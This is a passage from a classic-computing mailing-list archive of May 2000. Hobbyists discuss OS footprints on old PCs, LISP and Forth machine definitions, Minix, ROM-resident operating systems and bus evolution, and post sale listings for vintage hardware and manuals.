Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <20000508135559.B6127@dbit.dbit.com> References: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> <20000508135559.B6127@dbit.dbit.com> Message-ID: >Boy things have changed. When I first got into Linux, I ran it on a 40 MB >MFM drive and had lots of space to spare. Of course that was no TCP/IP and >certainly no GUI crap, and it didn't even have vi. But it might be a fun >exercise to put together a similarly minimal config from the latest sources, >it would probably still fit in a couple of cylinders of a modern disk drive. I dunno. Seems like whenever I try to build a minimal kernel these days, LILO tells me it's too big. Of course, it has been some time since I built one without networking... -- Roger Ivie TeraGlobal Communications Corporation 1750 North Research Park Way North Logan, UT 84341 Phone: (435)787-0555 Fax: (435)787-0516 From elvey at hal.com Mon May 8 13:55:33 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:39 2005 Subject: Looking for LMI LISP Machines In-Reply-To: Message-ID: <200005081855.LAA14590@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > Perhaps a PERQ was not a LISP machine if hardware support for LISP and > > supporting services such as garbage collection is your criteria, but a > > Yes, I guess that is how I define a LISP machine. In much the same way, > I'd not call a Jupiter Ace (UK home micro, Z80 based, Forth in ROM) a > 'forth machine'. Hi This is a hard call, I would call the Jupiter Ace a Forth machine. It did have a Z80 heart but the interface was the Forth interpreter. Even things like the NC4000 or RTX2000 that were considered a Forth engines had an underlying assembly language that was easily formed into Forth. The Jupiter Ace didn't have any specific operations or hardware to support Forth, other than the ROM. I guess, if one uses this as a drawing line, it makes some sense. I wonder how one could define the Canon Cat? Although, it had Forth in ROM, it was an application machine. Wouldn't one call it an application machine, even though it have an underlying processor with Forth overlayed on that and the application on top of that? I don't know how I'd define it and make sense. Dwight From pechter at pechter.dyndns.org Mon May 8 13:57:33 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: from Roger Ivie at "May 8, 2000 12:25:44 pm" Message-ID: <200005081857.OAA11837@bg-tc-ppp328.monmouth.com> > >Boy things have changed. When I first got into Linux, I ran it on a 40 MB > >MFM drive and had lots of space to spare. Of course that was no TCP/IP and > >certainly no GUI crap, and it didn't even have vi. But it might be a fun > >exercise to put together a similarly minimal config from the latest sources, > >it would probably still fit in a couple of cylinders of a modern disk drive. > > I dunno. Seems like whenever I try to build a minimal kernel these days, LILO > tells me it's too big. Of course, it has been some time since I built > one without > networking... > > -- > Roger Ivie > TeraGlobal Communications Corporation > 1750 North Research Park Way > North Logan, UT 84341 > Phone: (435)787-0555 > Fax: (435)787-0516 > > The kernel just needs to be build with make bzImage (this is the replacement for the gzipped zImage...) Lilo handles it just fine after that. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From allisonp at world.std.com Mon May 8 14:40:04 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: Runoff on other platforms Re: I wrote 'Nuke Redmond' In-Reply-To: Message-ID: On Mon, 8 May 2000, Roger Ivie wrote: > >My solution was and still is Runoff, it provides what I need for test > >files and it runs on everything I have (NS* DOS, CP/M-80, DOS, WIN, VMS, > >RT11, RSTS, unix, linix). > > Could you point me at CP/M and DOS Runoff, please? Any serious documents I > do are done initially in RUNOFF and then converted to whatever they need to be > delivered in. I've taken to using HTML for non-serious documents Try looking in SIMTEL and OAK.oakland.edu site there are plenty of versions out there. If all else fails write it, not as if it's particulary complex. Be advised the CP/M versions I have are CA1981 and represent a useable subset. However even that is not a big limit as if I wanted prettier printing (fonts mostly) I can move the .rno to a platform that has that kind of support. Allison From ard at p850ug1.demon.co.uk Mon May 8 14:37:05 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:39 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <200005081855.LAA14590@civic.hal.com> from "Dwight Elvey" at May 8, 0 11:55:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1843 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000508/93c5630a/attachment-0001.ksh From allisonp at world.std.com Mon May 8 14:42:17 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: Message-ID: > > Slackware, mandrake, redhat, cladara and howmany more all different? > > > >Reminds me of CPM2.2, all teh same cpm but modem programs were not always > >portable and media was often different. Same but, not really. > > Hmmmmm. Monopoly bad, lack of monopoly not good? No, monopoly bad. Lack of widely accepted standards worse. the latter comming from those that would alter it a little to five themselves a small (hoping for larger) advantage. Allison From SWMORETP at aol.com Mon May 8 14:41:58 2000 From: SWMORETP at aol.com (SWMORETP@aol.com) Date: Sun Feb 27 18:52:39 2005 Subject: Info on how to get digest version Message-ID: Does anyone know how to get the digest version of this group instead of single e-mails? Tony From allisonp at world.std.com Mon May 8 14:59:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <200005081717.NAA11404@bg-tc-ppp826.monmouth.com> Message-ID: > > Used the standard images and ran it on 486dx66 with 20m ram. No faster > > than W95 (tuned) and about the same as WinNT4.0/workstation. The Xserver > > is the limiter as it's served not native graphics on the 486 it's > > noticeable. It seemed robust enough but faster... not really. > > How much swap? > I ran on an AMD 5x86/133 with 32mb and it seemed to scream compared > with W95A. I have one those AMD5x86/133s, it's faster(it's a large cache 486/133) but same results. Swap was 40mb was 40mb is all cases. W95A is not the fasest version. I used W95C without IE/WOW/Plus packages installed and NS3.01 as the browser makes a huge difference hence my comment (tuned). The hotest W9x setup is W98se stripped and the W95A shell. You need both and something called 98lite20 to build it. It's akin to doing a system specific build under linux. > I've had linux working pretty well on an old 340mb IDE -- but that's > pretty much my personal minimum these days. I can still get almost > everything in an 850. I run several systems with W95C, Office97(excel, word), IE401, outlookexpress and paradox in 420mb with ~200mb free. The cpu is 5x86/133. That's about par. > Linux isn't really an OS release. That's why I prefer *BSD > which are OS releases rather than this kernel with that addon toolset > with those other apps. Freebsd is better from my experience. I've run that on EVERYthing from 386/16 (4mb ram) up and it is clearly faster than linux, win9x or NT. At least for the 2.2.6 release. Still doesn't beat my 6mhz Z80/64k with BM(bubbles memory), ramdisk and floppy. ;) > I find that it's not too hard to mix and match most apps with any Linux > version. One DUMB setup script file edit makes WordPerfect office play > nice with Caldera's 2.x. Which WPoffice? I have Caldara Openlinux 2.2 and 2.3 and WP8 is fine under KDE. Just has a huge footprint on teh disk though. > Yup... of course the IOBYTE version of Kermit worked with the VT180 > in S-L-O-W fashion... the customized non-generic version was much nicer. Only if IObyte was implemented (often it was not). There were a lot of poor BIOS implmentations that really hurt the performance and useability of CP/M. lack of typeahead was my pet peve due to lack of interrupts and poor modem performance (same reason). Allison From allisonp at world.std.com Mon May 8 15:05:56 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <20000508135559.B6127@dbit.dbit.com> Message-ID: I've put it on 120mb disks but that is not a user workstation for useability and windowing was not there at all. It did however run a useable system. If you want small, free and well documented Minix, unix like and 40mb is a full load with sources! runs on anything xt and up. Runs killer on a 1mb 386/16 I have. Allison On Mon, 8 May 2000, John Wilson wrote: > > Boy things have changed. When I first got into Linux, I ran it on a 40 MB > MFM drive and had lots of space to spare. Of course that was no TCP/IP and > certainly no GUI crap, and it didn't even have vi. But it might be a fun From allisonp at world.std.com Mon May 8 15:08:02 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: Lots o' stuff that I don't need, it's free too In-Reply-To: <20000508175743.67682.qmail@hotmail.com> Message-ID: > Gill, Arthur "Machine and Assembly Language Programming of the PDP-11" > Also VMS 5.5 on TK50, with about 8 or 9 VMS manuals I would be interested in these! Allison From wvh at gethip.com Mon May 8 15:17:08 2000 From: wvh at gethip.com (Bill von Hagen) Date: Sun Feb 27 18:52:39 2005 Subject: Looking for LMI LISP Machines In-Reply-To: References: <200005081855.LAA14590@civic.hal.com> Message-ID: <4.3.1.2.20000508161345.00d50170@mail.city-net.com> I see your point, though I think that the call becomes substantially tougher in microcoded machines that have no explicit "%processor" mapping. However, I'm sure that we'll all agree that we don't need to squander additional bandwidth here to semantics! Bill At 08:37 PM 5/8/00 +0100, Tony Duell wrote: > > > > ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > > > > > Perhaps a PERQ was not a LISP machine if hardware support for LISP and > > > > supporting services such as garbage collection is your criteria, but a > > > > > > Yes, I guess that is how I define a LISP machine. In much the same way, > > > I'd not call a Jupiter Ace (UK home micro, Z80 based, Forth in ROM) a > > > 'forth machine'. > > > > > > Hi > > This is a hard call, I would call the Jupiter Ace a > > Forth machine. It did have a Z80 heart but the interface > > was the Forth interpreter. Even things like the NC4000 > > or RTX2000 that were considered a Forth engines had an > > underlying assembly language that was easily formed into Forth. > >Yes, that's the point. The Z80 is not really optimised to run Forth >(IMHO, the 6809 does better for this but anyway...). So while the Jupiter >Ace is a machine that runs forth, where the user interface is forth, etc, >it's not a 'forth machine'. I reserve that title for machines where there >is hardware support for features of the forth language (like 2 stacks, >threading, etc). > >The problem is that if you're not careful, any computer could be called a > machine where is any language or operating environment that >you choose. And that rather makes ' machine> meaningless. > > > > The Jupiter Ace didn't have any specific operations > > or hardware to support Forth, other than the ROM. I guess, > > if one uses this as a drawing line, it makes some sense. > > I wonder how one could define the Canon Cat? Although, > > it had Forth in ROM, it was an application machine. > > Wouldn't one call it an application machine, even though > > it have an underlying processor with Forth overlayed > > on that and the application on top of that? > >No. I'd call it a %processor based machine. That happens to run software >written in forth. > >-tony From pbboy at mindspring.com Mon May 8 15:28:00 2000 From: pbboy at mindspring.com (Robert) Date: Sun Feb 27 18:52:39 2005 Subject: Ford's '60s computer? References: <3916695B.1BDEB146@home.com> <20000508140521.C6127@dbit.dbit.com> Message-ID: <39172350.692A516C@mindspring.com> His web address is www.shelbyamerican.com. Last I read he was building a beefed-up aluminum 427 from scratch, mainly reworking the oiling system. Then he went to Chrysler to do the Series 1. Haven't heard much since then. John Wilson wrote: > On Mon, May 08, 2000 at 12:14:35AM -0700, Doug Coward wrote: > > It sounds like you're asking what computer Caroll Shelby used? > > As I understand it Ford built the cars then they were modified > > at Shelby's company, Shelby American, in L.A. You might try asking > > the Los Angeles Shelby American Automobile Club,http://www.lasaac.org/ > > or ask at Carroll Shelby official web page,http://www.carrollshelby.com/ > > Does Shelby still have a company (for cars that is, not chili mix)? > I cold-called the company about 10 years ago (when we were both building turbo > Chrysler L-cars) with some questions about intercoolers and was immediately > connected to a friendly engineer who was happy to shoot the breeze. Very nice > folks, I'm sure they'd be just as happy to talk about their old CAD systems, > assuming they haven't all been laid off by now... > > John Wilson > D Bit From wilson at dbit.dbit.com Mon May 8 15:58:31 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: ; from allisonp@world.std.com on Mon, May 08, 2000 at 04:05:56PM -0400 References: <20000508135559.B6127@dbit.dbit.com> Message-ID: <20000508165831.A6713@dbit.dbit.com> On Mon, May 08, 2000 at 04:05:56PM -0400, allisonp@world.std.com wrote: > If you want small, free and well documented Minix, unix like and > 40mb is a full load with sources! runs on anything xt and up. > Runs killer on a 1mb 386/16 I have. I can't forgive A.T. for the anti-assembly-language advocacy in his comp arch textbook, the guy makes absolutely no sense -- he "proves" the correctness of his personal bias using an anecdotal example where he varies every parameter at once and then tries to draw conclusions. But if Minix is "free" now, that must mean that at least he changed his mind about the bizarre licensing rules he used to have. IIRC it was ~$100 for the book+code and you could install "a few" copies, whatever that means. John Wilson D Bit From ard at p850ug1.demon.co.uk Mon May 8 15:46:14 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:40 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <4.3.1.2.20000508161345.00d50170@mail.city-net.com> from "Bill von Hagen" at May 8, 0 04:17:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1101 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000508/f14d0f08/attachment-0001.ksh From allisonp at world.std.com Mon May 8 16:37:51 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:40 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before Message-ID: <001a01bfb935$e83780a0$6d64c0d0@ajp166> >I can't forgive A.T. for the anti-assembly-language advocacy in his comp arch He he teaches it, when was he the author of commercial code? ;) >at once and then tries to draw conclusions. But if Minix is "free" now, that >must mean that at least he changed his mind about the bizarre licensing rules >he used to have. IIRC it was ~$100 for the book+code and you could install >"a few" copies, whatever that means. the licensing went from noncommercial personal use to a more open license (details on line). The book at about 60$, I got it and it's useful as was the cdrom( with V2.0). one of the other characters has a version that runs under dos and also a version with real VM support. Theres IP support too. It's good where small is desireable and swap (2.0) is not on the wish list. Allison From xds_sigma7 at hotmail.com Mon May 8 18:03:36 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:40 2005 Subject: Update on what's still available Message-ID: <20000508230336.3557.qmail@hotmail.com> Ok, what's left is: Dataram Corp. P03 LSI-11 Parity Controller Product Specification 1 HP700/92 + HP700/94 User's Manual Wang 2200 BASIC-2 Language Reference Manual (kinda beaten but complete) VMS 4.4 Volumes 1B, 5A, 7B, 8B, 8D, and 10A, complete except for the I/O reference, part I. I know for sure that I have more stuff to get rid of, when I've found another somewhat significant amount I'll let the list know. Also, I will make lists of the advertising stuff from DEC, Emulex, etc. for those who were interested. Also, just to clarify, I meant that either you could trade me something *or* it was free... And money is not accepted, I meant trade other computer-related items. ;p Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From ss at allegro.com Mon May 8 18:04:48 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:40 2005 Subject: HP 3000/925 available Message-ID: <3916E5A0.10428.25044BE1@localhost> Re: > > Where is this located? The HP 3000/925 is in Houston, Texas. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From elvey at hal.com Mon May 8 18:46:42 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:40 2005 Subject: HP 3000/925 available In-Reply-To: <3916E5A0.10428.25044BE1@localhost> Message-ID: <200005082346.QAA18215@civic.hal.com> "Stan Sieler" wrote: > Re: > > > > Where is this located? > > The HP 3000/925 is in Houston, Texas. > > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler Hi Stan I've contacted the fellow in Texas about the 3000. I told him if he didn't have someone closer, I'd pay shipping to California. After initial 3 or 4 messages, he hasn't gotten back to me. I hope he is setting up to find out what the shipping cost are. It is a little on the large size for my collection but still smaller than a pinball machine. I'll email him again in another couple of days to see if I'm still the one that he'll let have it. I realize that if someone local comes to pick it up, I'm out but he seemed to think that shipping wouldn't be an issue, as long as I was willing to pay for it. From pinball machines, I'd think it would be on the order of $150 to $200 someplace. See you Saturday. Dwight From pechter at pechter.dyndns.org Mon May 8 18:55:20 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:40 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: from "allisonp@world.std.com" at "May 8, 2000 03:59:13 pm" Message-ID: <200005082355.TAA01119@bg-tc-ppp1114.monmouth.com> > Swap was 40mb was 40mb is all cases. W95A is not the fasest version. I > used W95C without IE/WOW/Plus packages installed and NS3.01 as the browser > makes a huge difference hence my comment (tuned). The hotest W9x setup is > W98se stripped and the W95A shell. You need both and something called > 98lite20 to build it. It's akin to doing a system specific build under > linux. Getting W95C legally was difficult if you're not an OEM or buying it with hardware. I'm going to look at 98lite20. I've been pretty pleased with the performance on Win98. > > Linux isn't really an OS release. That's why I prefer *BSD > > which are OS releases rather than this kernel with that addon toolset > > with those other apps. > > Freebsd is better from my experience. I've run that on EVERYthing from > 386/16 (4mb ram) up and it is clearly faster than linux, win9x or NT. > At least for the 2.2.6 release. Actually, I'm wondering if the FreeBSD 1.1.5.1 would run on some of the new hardware. I've got a tape of it and I'm thinking about building it. > > > I find that it's not too hard to mix and match most apps with any Linux > > version. One DUMB setup script file edit makes WordPerfect office play > > nice with Caldera's 2.x. > > Which WPoffice? I have Caldara Openlinux 2.2 and 2.3 and WP8 is fine > under KDE. Just has a huge footprint on teh disk though. Word Perfect Office 2000... It's huge (the full load of the Professional version is around 340mb). > > Yup... of course the IOBYTE version of Kermit worked with the VT180 > > in S-L-O-W fashion... the customized non-generic version was much nicer. > > Only if IObyte was implemented (often it was not). There were a lot of > poor BIOS implmentations that really hurt the performance and useability > of CP/M. lack of typeahead was my pet peve due to lack of interrupts > and poor modem performance (same reason). The VT180 was one of the best CP/M machines to use. Typeahead, good hardware, a great screen and the best keyboard. Just too expensive for most people. > > Allison Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Historical at aol.com Mon May 8 19:58:38 2000 From: Historical at aol.com (Historical@aol.com) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 Message-ID: <66.36e59e5.2648bcbe@aol.com> In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain Napalm' Conner" writes: << Again, to bring this back on topic, there have been plenty of operating systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were all contained in ROM, were/are ROMmable and extensible. And all are older than 10 years old. Even MS-DOS came in ROM format for some computers (although I'm not sure if it ran out of ROM, or was copied to RAM before running). >> The Mac OS has never been fully contained in ROM. Starting with the Lisa in 1983 and the original Mac in 1984, Apple used a 64k ROM that contained GUI program routines (the Macintosh ToolKit). These machines still had to boot a floppy which made calls to the ROM. Best, David Greelish Publisher Classic Computing Press www.classiccomputing.com From jeff.kaneko at juno.com Mon May 8 20:51:55 2000 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 18:52:40 2005 Subject: IMSAI 8080 Message-ID: <20000508.205159.-4091677.0.jeff.kaneko@juno.com> This is being offered by a third party. All inquiries should be made to the e-mail near the end of this message. ----------------------------------------------- ** FOR SALE: IMSAI 8080 ** Serial Number: 1009006 Boards installed: IMSAI MPU-A 8080 CPU CCS Model 2422 Multimode Floppy Controller SC DIgital Model 32K Memory board Two memory boards, maker unknown (see pic) Tei IO 3P+3S Serial/parallel io card S-100 Extender board Northstar MDC-A4 Hard-sector Floppy Controller Documentation: "A couple of boxes" of hardware & sofware docs. Software: Stack of hard-sectored diskettes, that looks like they have the OS, and some applications on them, couldn't tell for sure. Package also includes: Pair of MPI floppy drives in a hand-made copper cadrive cabinet (see pic). OKI Microline 82 printer Apple pen plotter B/W Television Set, modified for use as a monitor. ------------------------------------------------------ I looked at this stuff the other nite; it looks like a pretty nice example of the IMSAI with its original CPU card. It's a bit dusty inside, but cosmetically fine otherwise. No broken paddle switches, and it comes with the original steel top (made of boilerplate). I've been told that there may be more items added to the inventory, but this is what has surfaced so far. It was working when this was put away, but hasn't been powered up since. Actual electrical condition unknown. Photos can bee seen at: http://home.kscable.com/kh6jjn/imsai_front.jpg http://home.kscable.com/kh6jjn/imsai_side.jpg http://home.kscable.com/kh6jjn/disk_drives.jpg http://home.kscable.com/kh6jjn/memory_board.jpg ------------------------------------------------------- All offers/bids/whatever should be sent via e-mail to: DENYS FREDRICKSON, at: denysgf@juno.com Thank you for your attention. We now return you to our regularly scheduled programme. . . From kyrrin at bluefeathertech.com Mon May 8 21:03:18 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:40 2005 Subject: HP9825 Manuals and Tapes Available Message-ID: <39170F76.28892.1E8958D5@localhost> I just posted a listing on Haggle's Antique Computers section (I absolutely REFUSE to deal with E-pay) as follows: http://www.haggle.com/cgi/getitem.cgi?id=202308845 It's for a stack of manuals/tapes on the HP9825 desktop computer. Full description's at the site. I thought about limiting the posting to the list, but I wanted to give any of you who have a 9825, and might need the docs, a fair crack at it. Thanks much. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From kyrrin at bluefeathertech.com Mon May 8 21:21:02 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:40 2005 Subject: PDP-8 book available Message-ID: <3917139E.24047.1E9995B6@localhost> Ok, here's another Haggle item at: http://www.haggle.com/cgi/getitem.cgi?id=202308864 It's a copy of "Introduction to Programming" (DEC) that seems to have been written around the PDP-8. The bottom of the front cover reads "PDP-8 Handbook Series" (wazzat a clue or what?) ;-) Starting bid is two bucks plus mailing. Help me find this one a good home. Thanks! -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From kyrrin at bluefeathertech.com Mon May 8 21:28:12 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:40 2005 Subject: Couple of cheapies Message-ID: <3917154C.9034.1EA02500@localhost> And, finally, a couple of cheapies. RT-11 Pocket Guide, still in the shrink wrap, for Ver. 5.0. Since I don't use RT-11, this is not very useful to me. First person to offer $5.00 (Shipping included!) gets it. I also have a data cable as used on the HP 262x series terminals. It's a DCE species, HP part #5061-4216. Has the 50-pin Amphenol 'Micro-Ribbon' connector on one end, and a female DB25 on the other. Same price: $5.00 (Includes shipping). In the event of multiple responses, priority goes to the E-mail with the earlier time/date stamp. Thanks much! -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allisonp at world.std.com Mon May 8 20:37:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:40 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseenthis before Message-ID: <003c01bfb959$1c2ecbc0$6d64c0d0@ajp166> >Getting W95C legally was difficult if you're not an OEM or buying it with >hardware. I'm going to look at 98lite20. I've been pretty pleased with >the performance on Win98. Simple, buy 95b and hit their site for hte upgrades. Most of them are for USB anyway. >Actually, I'm wondering if the FreeBSD 1.1.5.1 would run on some of >the new hardware. I've got a tape of it and I'm thinking about >building it. Likely it would but you'd have problems with hardware that is not supported as it didn't exist then. >> Which WPoffice? I have Caldara Openlinux 2.2 and 2.3 and WP8 is fine >> under KDE. Just has a huge footprint on teh disk though. > >Word Perfect Office 2000... It's huge (the full load of the Professional >version is around 340mb). I heard it was a monster. I know people that like WP-8 as it does things format wise that Word cant and it's very useful to lawyers for that. >The VT180 was one of the best CP/M machines to use. Typeahead, >good hardware, a great screen and the best keyboard. Just too expensive >for most people. Yep, it's a winner. I have several (plus gave away a bunch more over the years). It's a nice machine to hack as well. Mods I've done include 6mhz z80, two sided, 3.5" 781k/720k floppy and a romdisk/ramdisk. plus a bubble memory interface. The AmproLB is another really great CP/M engine with SCSI even. There were some later designs like the P112 (from OZ) with a 16mhz Z180 IDE and all the other goodies. Another favorite is the Micromint SB180 with the scsi/com card 9.6mhz 64180 (z180) 256k ram FDC that works with any 8/5.25/3.5 disk and a SCSI interface for hard disk. Kaypros are OK, the display software is slow but they run well especially if they have turborom installed. Allison From cmcmanis at mcmanis.com Mon May 8 22:29:32 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses Message-ID: <3917861C.A1D9E3BE@mcmanis.com> One of the most amazing things I've witnessed in the computer evolution is the growth, and death, of busses. Some, like Q-bus and S-100 are pretty simple, others like SBus and the switching fabric that constitutes the SparcServer 490 are much more complex. When asked once why I prefer the Q-bus 11's and Vaxen my answer is always because I can get lots of I/O to do neat things for those busses. (I'm writing a program for the PDP-8 to control an LED sign using a couple of 12bit parallel i/o cards. ) But the trend in PC's has gone to fewer and fewer "slots" and soon will be no slots. I thought that the bus was dead until I realized that USB has the same bandwidth as Q-bus and FireWire has much better bandwidth. So presumably we'll see some interesting I/O devices that use these busses in the future. --Chuck From dpeschel at eskimo.com Mon May 8 23:42:29 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <66.36e59e5.2648bcbe@aol.com> from "Historical@aol.com" at May 08, 2000 08:58:38 PM Message-ID: <200005090442.VAA00176@eskimo.com> David Greelish wrote: > In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain > Napalm' Conner" writes: > > << Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. And all are older > than 10 years old. Even MS-DOS came in ROM format for some computers > (although I'm not sure if it ran out of ROM, or was copied to RAM before > running). >> > > The Mac OS has never been fully contained in ROM. Starting with the Lisa in > 1983 and the original Mac in 1984, Apple used a 64k ROM that contained GUI > program routines (the Macintosh ToolKit). These machines still had to boot a > floppy which made calls to the ROM. Although this is true in a practical sense (especially because of the growth of the OS), there is one exception I know of. On the original Mac Classic, holding down Cmd-Option-X-O (the letter O) at boot time loads a small version of the OS entirely from a disk image in ROM. (You can "Get Info" on the disk and see an amusing note.) It may be System 6.0.2 or I could be imagining that. The new machines, on the other hand, load the "ROM" from disk and then write protect the memory. Talk about going in the other direction... -- Derek From xds_sigma7 at hotmail.com Tue May 9 01:45:37 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses Message-ID: <20000509064537.94590.qmail@hotmail.com> Chuck, Of course, you can always point out that with the DEC stuff, the unibus, omnibus, posibus, negibus, and qbus all use the same connectors... realllly different electrical signals but still the same connectors... quite handy.. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From dpeschel at eskimo.com Tue May 9 11:15:28 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <66.36e59e5.2648bcbe@aol.com> from "Historical@aol.com" at May 08, 2000 08:58:3 Message-ID: David Greelish wrote: > In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain > Napalm' Conner" writes: > > << Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. (snip snip) Although this is true in a practical sense (especially because of the growth of the OS), there is one exception I know of. On the original Mac Classic, holding down Cmd-Option-X-O (the letter O) at boot time loads a small version of the OS entirely from a disk image in ROM. (You can "Get Info" on the disk and see an amusing note.) It may be System 6.0.2 or I could be imagining that. The new machines, on the other hand, load the "ROM" from disk and then write protect the memory. Talk about going in the other direction... Just like the original Amiga circa 1985, which loaded Kickstart off of disk into write once protected RAM. Why?? Because the ROM code had not yet been finalized when the computer was put on the market. Another fine example of how marketing guys try to BS electrons . . . Gary Hildebrand -- Derek From allisonp at world.std.com Tue May 9 07:29:27 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:40 2005 Subject: Busses vs no busses In-Reply-To: <3917861C.A1D9E3BE@mcmanis.com> Message-ID: > When asked once why I prefer the Q-bus 11's and Vaxen my answer is > always because I can get lots of I/O to do neat things for those busses. > (I'm writing a program for the PDP-8 to control an LED sign using a > couple of 12bit parallel i/o cards. ) Now that's a cool hack. I nelieve one of the stadiums used a PDP-8 to control a graphic scoreboard. > be no slots. I thought that the bus was dead until I realized that USB > has the same bandwidth as Q-bus and FireWire has much better bandwidth. > So presumably we'll see some interesting I/O devices that use these > busses in the future. As the speed of the bus increases and the ability to contain the bus interface in fewer chips increases the number of wires needed tends to go down. Obviously two wires are easier to handle, terminate and connect than 100. What also occurs is the simpler the bus the more sophisticated the bus interface required, higher levels of integration feed that. It's evolotionary. Think of USB and firewire as network buses and the devices to connect them to things like printers and disks as "bridges". Still, some buses will be hard fo the hobbiest to deal with due to the specialzed logic needed. Allison From allisonp at world.std.com Tue May 9 07:34:14 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:40 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: Message-ID: > Just like the original Amiga circa 1985, which loaded Kickstart off of disk > into write once protected RAM. Why?? Because the ROM code had not yet been > finalized when the computer was put on the market. > > Another fine example of how marketing guys try to BS electrons . . . Also for many years to recently most "roms" were slower than the system so moving the rom code to ram was a way to attain speed for rommed code. This became critical when the 486/33 and faster machines came about. It's handy too as overlays for bug fixes or additional drivers are possible as well. Allison From Hans.Franke at mch20.sbs.de Tue May 9 09:46:47 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) 